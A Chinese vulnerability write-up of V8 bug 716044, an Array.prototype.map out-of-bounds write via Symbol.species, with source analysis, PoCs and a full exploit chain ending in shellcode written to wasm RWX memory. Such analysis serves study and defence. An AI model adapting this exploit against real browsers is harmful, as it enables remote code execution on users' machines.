Issue 716044 Array.prototype.map越界写漏洞分析
前言
环境搭建
git reset --hard 40d01184a18a599392691c0eb931720628a44e80
gclient sync
./tools/dev/gm.py x64.release
./tools/dev/gm.py x64.debug
基础知识
**Symbol.species **
Symbol.species 是个函数值属性,对象的Symbol.species属性,指向一个构造函数。创建衍生对象时,会使用该属性。
class MyArray extends Array {}
const a = new MyArray(1,2,3);
const b = a.map(x => x);
const c = a.filter(x => x > 1);
console.log(b);
console.log(c);
console.log(b instanceof MyArray); //true
上述例子中,子类MyArray继承了父类Array,a是MyArray的实例,b和c是a的衍生对象。b和c是Array的实例,也是MyArray的实例,为了进行区分,引入Symbol.species属性,如下,为MyArray设置Symbol.species属性:
class MyArray extends Array{
static get [Symbol.species] () {
return Array;
}
}
等同于:
class MyArray extends Array {
static get [Symbol.species] (){
return this;
}
}
设置Symbol.species属性后,a.map(x => x)生成的衍生对象b,就不是MyArray的实例,而直接就是Array的实例。例子如下:
class MyArray extends Array {
// 覆盖 species 到父级的 Array 构造函数上
static get [Symbol.species]() { return Array; }
}
var a = new MyArray(1,2,3);
var mapped = a.map(x => x * x);
console.log(mapped instanceof MyArray); // false
console.log(mapped instanceof Array); // true
漏洞分析
漏洞成因在于:调用Array.prototype.map 函数时会触发衍生操作,即触发Symbol.species 所声明的构造函数。而在构造函数中可以修改数组的大小,导致溢出。
PoC代码:
// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --verify-heap
class Array1 extends Array {
constructor(len) {
super(1);
}
};
class MyArray extends Array {
static get [Symbol.species]() {
return Array1;
}
}
a = new MyArray();
for (var i = 0; i < 100000; i++) {
a.push(1);
}
a.map(function(x) { return 42; });
array.map 函数原型:
array.map(callback[, thisArg])
调用链如下:
ArrayMap
->args.GetReceiver();
->args.GetOptionalArgumentValue(0, UndefinedConstant()); //获得callback参数
->args.GetOptionalArgumentValue(1, UndefinedConstant());//获得thisArg参数
->InitIteratingArrayBuiltinBody // 赋值操作
->GenerateIteratingArrayBuiltinBody
->o_ = CallStub(CodeFactory::ToObject(isolate()), context(), receiver());//o_保存Array.prototype.map的this对象
->len_ = merged_length.value();//加载数组的长度
->a_.Bind(generator(this));//调用generator函数并将结果返回保存在a_
->MapResultGenerator() //generator函数的调用链如下
->ArraySpeciesCreate
->Runtime::kArraySpeciesConstructor
->v8::internal::Object::ArraySpeciesConstructor
->Array[Symbol.species] // 最终对象的Symbol.species 属性
->HandleFastElements(processor, action, &slow, direction);//对每个元素调用processor函数进行赋值操作
->MapProcessor //将o_(原数组)中的每个元素赋值调用callbackfn 并将结果保存到a_(新数组)中
->TryStoreArrayElement
主要具体函数如下:
Array.prototype.map 函数的CodeStubAssembler:
// src/builtins/builtins-array-gen.cc
TF_BUILTIN(ArrayMap, ArrayBuiltinCodeStubAssembler) {
Node* argc = ChangeInt32ToIntPtr(Parameter(BuiltinDescriptor::kArgumentsCount));
CodeStubArguments args(this, argc);
Node* context = Parameter(BuiltinDescriptor::kContext);
Node* new_target = Parameter(BuiltinDescriptor::kNewTarget);
Node* receiver = args.GetReceiver(); // this
Node* callbackfn = args.GetOptionalArgumentValue(0, UndefinedConstant()); //callback 函数
Node* this_arg = args.GetOptionalArgumentValue(1, UndefinedConstant());
InitIteratingArrayBuiltinBody(context, receiver, callbackfn, this_arg,
new_target, argc);
GenerateIteratingArrayBuiltinBody(
"Array.prototype.map", &ArrayBuiltinCodeStubAssembler::MapResultGenerator,
&ArrayBuiltinCodeStubAssembler::MapProcessor,
&ArrayBuiltinCodeStubAssembler::NullPostLoopAction,
Builtins::CallableFor(isolate(), Builtins::kArrayMapLoopContinuation));
}
GenerateIteratingArrayBuiltinBody函数:
void GenerateIteratingArrayBuiltinBody(
const char* name, const BuiltinResultGenerator& generator,
const CallResultProcessor& processor, const PostLoopAction& action,
const Callable& slow_case_continuation,
ForEachDirection direction = ForEachDirection::kForward) {
...
o_ = CallStub(CodeFactory::ToObject(isolate()), context(), receiver());
...
GotoIf(DoesntHaveInstanceType(o(), JS_ARRAY_TYPE), ¬_js_array);
merged_length.Bind(LoadJSArrayLength(o()));
Goto(&has_length);
...
BIND(&has_length);
len_ = merged_length.value();
...
a_.Bind(generator(this));
HandleFastElements(processor, action, &slow, direction);
...
array.prototype.map 所对应的js代码示意如下:
Array.prototype.map = function (callback) {
var Species = this.constructor[Symbol.species];
var returnValue = new Species(this.length);
this.forEach(function (item, index, array) {
returnValue[index] = callback(item, index, array);
});
return returnValue;
}
v8创建对象a_ 是通过调用generator -> ArraySpeciesCreate ,此时由于用户可以自定义Symbol.species 属性,并通过该属性劫持a_ 的构造过程,修改a_ 的数组长度为1,小于原数组o_ 的长度,在后续调用MapProcessor->callbackfn 函数对o_ 每个元素进行处理并赋值给a_ 时,由于长度大于a_ ,最终导致越界写。并且callback 函数只会在有值的索引上被调用进行赋值,对于未初始化的索引(即hole)不做处理,可以利用这点,对特定的位置进行越界写。
PoC代码:
var float_array;
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
class Array1 extends Array {
constructor(len) {
super(1);
float_array = [1.1, 2.2];
}
};
class MyArray extends Array {
static get [Symbol.species]() {
return Array1;
}
}
o_ = new MyArray();// 这里和o_ 和 a_ 可以等效于v8源码中的o_ 和 a_, 命名成这样,方便理解
o_[2] = 3;
o_[8] = 9;
var a_ = o_.map(function(x) { return 0xddaa; });
%DebugPrint(o_);
%DebugPrint(a_);
console.log("a_ length is : 0x" + hex(a_.length));
console.log("float_array length is : 0x" + hex(float_array.length));
可以看到除了o_ [2]和o_ [8],其他索引都为hole:
经过o_.map
处理,会重新申请一个a_
对象,并将callback 函数的返回值(0xddaa)赋值给不为hole的索引,如下图所示:
此时a_
的length为1,但在赋值时却是按照o_
的length进行赋值,可以越界写将a_ [2]和a_ [8] 修改为0xddaa(前面2个字段是map和length),而a_ [8] 正好是float_array数组的length字段,所以越界写将float_array的length修改为0xddaa。
输出结果为:
0x30142028d809 <JSArray[9]>
0x30142028da49 <JSArray[1]>
a_ length is : 0x0000000000000001
float_array length is : 0x000000000000ddaa
利用思路总结:
在a_ 数组后面构造一个float array,利用越界写修改float array的length,就可以对float array进行越界读写。后面的利用方式和Plaid CTFs roll a d8相似,最终找rwx区可能因为d8版本问题,数据结构和偏移有些不同。这里通过wasm funciton -> shared_info->code,此时读到的code地址已经位于rwx区中,减去偏移0xc1就是rwx区域的起始地址。但wasm function 调用的代码位于起始地址+0x140处。将其覆盖成shellcode即可。
pwndbg> job 0x1126749b45e9 <--------- wasm function 地址
0x1126749b45e9: [Function]
- map = 0x126a3be0e649 [FastProperties]
- prototype = 0x112674984429
- elements = 0x23a81c002241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- embedder fields: 3
- initial_map =
- shared_info = 0x1126749b4469 <SharedFunctionInfo 0> <---------------shared_info
- name = 0x1126749b4449 <String[1]: 0>
- formal_parameter_count = 0
- context = 0x112674983bd1 <FixedArray[265]>
- feedback vector cell = 0x23a81c002811 <Cell value= 0x23a81c002311 <undefined>>
- code = 0x17a373840c1 <Code JS_TO_WASM_FUNCTION>
- properties = 0x23a81c002241 <FixedArray[0]> {
#length: 0x2652937e4961 <AccessorInfo> (const accessor descriptor)
#name: 0x2652937e49d1 <AccessorInfo> (const accessor descriptor)
#arguments: 0x2652937e4a41 <AccessorInfo> (const accessor descriptor)
#caller: 0x2652937e4ab1 <AccessorInfo> (const accessor descriptor)
#prototype: 0x2652937e4b21 <AccessorInfo> (const accessor descriptor)
}
- embedder fields = {
0
0x1126749b4209
0
}
pwndbg> job 0x1126749b4469 <---------------shared_info
0x1126749b4469: [SharedFunctionInfo]
- name = 0x1126749b4449 <String[1]: 0>
- kind = [ NormalFunction ]
- formal_parameter_count = 0
- expected_nof_properties = 0
- language_mode = sloppy
- ast_node_count = 0
- instance class name = #Object
- code = 0x17a373840c1 <Code JS_TO_WASM_FUNCTION> <---------------code
- function token position = 0
- start position = 0
- end position = 0
- no debug info
- length = 0
- optimized_code_map = 0x23a81c002241 <FixedArray[0]>
- feedback_metadata = 0x23a81c002241: [FeedbackMetadata]
- length: 0 (empty)
pwndbg> job 0x17a373840c1 <---------------code
0x17a373840c1: [Code]
kind = JS_TO_WASM_FUNCTION
compiler = turbofan
Instructions (size = 43)
0x17a37384140 0 55 push rbp <--------------wasm function 函数调用地址,将其覆盖成shellcode
0x17a37384141 1 4889e5 REX.W movq rbp,rsp
0x17a37384144 4 56 push rsi
0x17a37384145 5 57 push rdi
0x17a37384146 6 e835ffffff call 0x17a37384080 ;; code: WASM_FUNCTION
0x17a3738414b b 48c1e020 REX.W shlq rax, 32
0x17a3738414f f 488be5 REX.W movq rsp,rbp
0x17a37384152 12 5d pop rbp
0x17a37384153 13 c20800 ret 0x8
0x17a37384156 16 6690 nop
exp 代码:
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var Uint32 = new Uint32Array(buf);
function f2i(f)
{
float64[0] = f;
let tmp = Array.from(Uint32);
return tmp[1] * 0x100000000 + tmp[0];
}
function i2f(i)
{
let tmp = [];
tmp[0] = parseInt(i % 0x100000000);
tmp[1] = parseInt((i-tmp[0]) / 0x100000000);
Uint32.set(tmp);
return float64[0];
}
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_function = wasmInstance.exports.main;
var oobArray;
var data_buf;
var obj;
class Array1 extends Array{
constructor(len){
super(1);
oobArray = [1.1, 2.2];
data_buf = new ArrayBuffer(0x233);
obj = {mark: 1111222233334444, obj: wasm_function};
}
};
class MyArray extends Array{
static get [Symbol.species](){
return Array1;
}
};
a = new MyArray();
a[8] = 6;
var b = a.map(function(x) {return 1000;});
var float_obj_idx = 0;
for(let i=0; i < 0x100; i++)
{
if(f2i(oobArray[i]) == 0x430f9534b3e01560){
float_obj_idx = i + 1;
console.log("[+] find wasm_function obj : 0x" + hex(f2i(oobArray[float_obj_idx])));
break;
}
}
var wasm_function_addr = f2i(oobArray[float_obj_idx]) - 0x1;
//------ find backing_store
var float_buffer_idx = 0;
for(let i=0; i < 0x1000; i++)
{
if(f2i(oobArray[i]) == 0x0000023300000000){
float_buffer_idx = i + 1;
console.log("[+] find data_buf backing_store : 0x" + hex(f2i(oobArray[float_buffer_idx])));
break;
}
}
//----- arbitrary read
var data_view = new DataView(data_buf);
function dataview_read64(addr)
{
oobArray[float_buffer_idx] = i2f(addr);
return f2i(data_view.getFloat64(0, true));
}
//----- arbitrary write
function dataview_write(addr, payload)
{
oobArray[float_buffer_idx] = i2f(addr);
for(let i=0; i < payload.length; i++)
{
data_view.setUint8(i, payload[i]);
}
}
//----- find wasm_code_rwx_addr
var wasm_shared_info = dataview_read64(wasm_function_addr + 0x20);
console.log("[+] find wasm_shared_info : 0x" + hex(wasm_shared_info));
var wasm_code = dataview_read64(wasm_shared_info - 0x1 + 0x8);
console.log("[+] find wasm_code : 0x" + hex(wasm_code));
var wasm_rwx = wasm_code - 0xc1 + 0x140;
console.log("[+] find wasm_rwx : 0x" + hex(wasm_rwx));
//write shellcode to wasm
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
dataview_write(wasm_rwx, shellcode);
wasm_function();
执行示意图:
参考链接
http://dittozzz.top/2019/11/04/Chrome-v8-716044-Array-prototype-map-OOB-write/
https://v8.dev/docs/csa-builtins
https://bugs.chromium.org/p/chromium/issues/detail?id=716044
https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/